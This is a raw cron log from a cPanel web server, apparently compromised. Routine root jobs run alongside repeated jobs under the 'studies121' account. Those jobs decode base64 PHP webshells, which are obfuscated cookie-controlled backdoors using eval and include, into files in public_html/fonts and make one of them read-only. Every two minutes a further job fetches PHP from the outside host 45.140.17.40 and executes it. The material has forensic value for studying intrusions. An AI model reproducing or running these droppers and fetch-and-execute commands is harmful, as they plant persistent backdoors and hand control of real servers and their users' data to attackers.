Sep 12 13:10:01 ip-184-168-122-23 CROND[31556]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 13:10:01 ip-184-168-122-23 CROND[31555]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 13:10:01 ip-184-168-122-23 CROND[31557]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 13:10:01 ip-184-168-122-23 CROND[31560]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 13:10:01 ip-184-168-122-23 CROND[31562]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 13:10:01 ip-184-168-122-23 CROND[31559]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 13:10:02 ip-184-168-122-23 CROND[31563]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 13:11:01 ip-184-168-122-23 CROND[31676]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 13:11:01 ip-184-168-122-23 CROND[31674]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 13:11:01 ip-184-168-122-23 CROND[31675]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 13:11:01 ip-184-168-122-23 CROND[31677]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 13:12:01 ip-184-168-122-23 CROND[31769]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 13:12:01 ip-184-168-122-23 CROND[31771]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 13:12:01 ip-184-168-122-23 CROND[31772]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 13:12:01 ip-184-168-122-23 CROND[31773]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 13:12:01 ip-184-168-122-23 CROND[31774]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 13:13:01 ip-184-168-122-23 CROND[31872]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 13:13:01 ip-184-168-122-23 CROND[31873]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 13:13:02 ip-184-168-122-23 CROND[31878]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 13:13:02 ip-184-168-122-23 CROND[31876]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 13:14:01 ip-184-168-122-23 CROND[31980]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 13:14:01 ip-184-168-122-23 CROND[31982]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 13:14:01 ip-184-168-122-23 CROND[31984]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 13:14:01 ip-184-168-122-23 CROND[31983]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 13:14:01 ip-184-168-122-23 CROND[31985]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 13:15:01 ip-184-168-122-23 CROND[32168]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 13:15:01 ip-184-168-122-23 CROND[32170]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 13:15:01 ip-184-168-122-23 CROND[32172]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 13:15:01 ip-184-168-122-23 CROND[32171]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 13:15:01 ip-184-168-122-23 CROND[32174]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 13:15:01 ip-184-168-122-23 CROND[32173]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 13:16:01 ip-184-168-122-23 CROND[32257]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 13:16:01 ip-184-168-122-23 CROND[32263]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 13:16:01 ip-184-168-122-23 CROND[32264]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 13:16:01 ip-184-168-122-23 CROND[32265]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 13:16:01 ip-184-168-122-23 CROND[32267]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 13:16:01 ip-184-168-122-23 CROND[32268]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 12 13:17:01 ip-184-168-122-23 CROND[32372]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 13:17:01 ip-184-168-122-23 CROND[32375]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 13:17:01 ip-184-168-122-23 CROND[32374]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 13:17:01 ip-184-168-122-23 CROND[32376]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 13:18:01 ip-184-168-122-23 CROND[32464]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 13:18:01 ip-184-168-122-23 CROND[32467]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 13:18:01 ip-184-168-122-23 CROND[32469]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 13:18:01 ip-184-168-122-23 CROND[32470]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 13:18:01 ip-184-168-122-23 CROND[32471]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 13:19:01 ip-184-168-122-23 CROND[32554]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 13:19:01 ip-184-168-122-23 CROND[32557]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 13:19:01 ip-184-168-122-23 CROND[32556]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 13:19:01 ip-184-168-122-23 CROND[32558]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 13:20:01 ip-184-168-122-23 CROND[32752]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 13:20:01 ip-184-168-122-23 CROND[32753]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 13:20:01 ip-184-168-122-23 CROND[32755]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 13:20:01 ip-184-168-122-23 CROND[32756]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 13:20:01 ip-184-168-122-23 CROND[32759]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 12 13:20:01 ip-184-168-122-23 CROND[32763]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 13:20:01 ip-184-168-122-23 CROND[32766]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 13:20:01 ip-184-168-122-23 CROND[32765]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 13:20:01 ip-184-168-122-23 CROND[32767]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 13:21:01 ip-184-168-122-23 CROND[414]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 13:21:01 ip-184-168-122-23 CROND[417]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 13:21:01 ip-184-168-122-23 CROND[416]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 13:21:01 ip-184-168-122-23 CROND[418]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 13:22:01 ip-184-168-122-23 CROND[507]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 13:22:01 ip-184-168-122-23 CROND[508]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
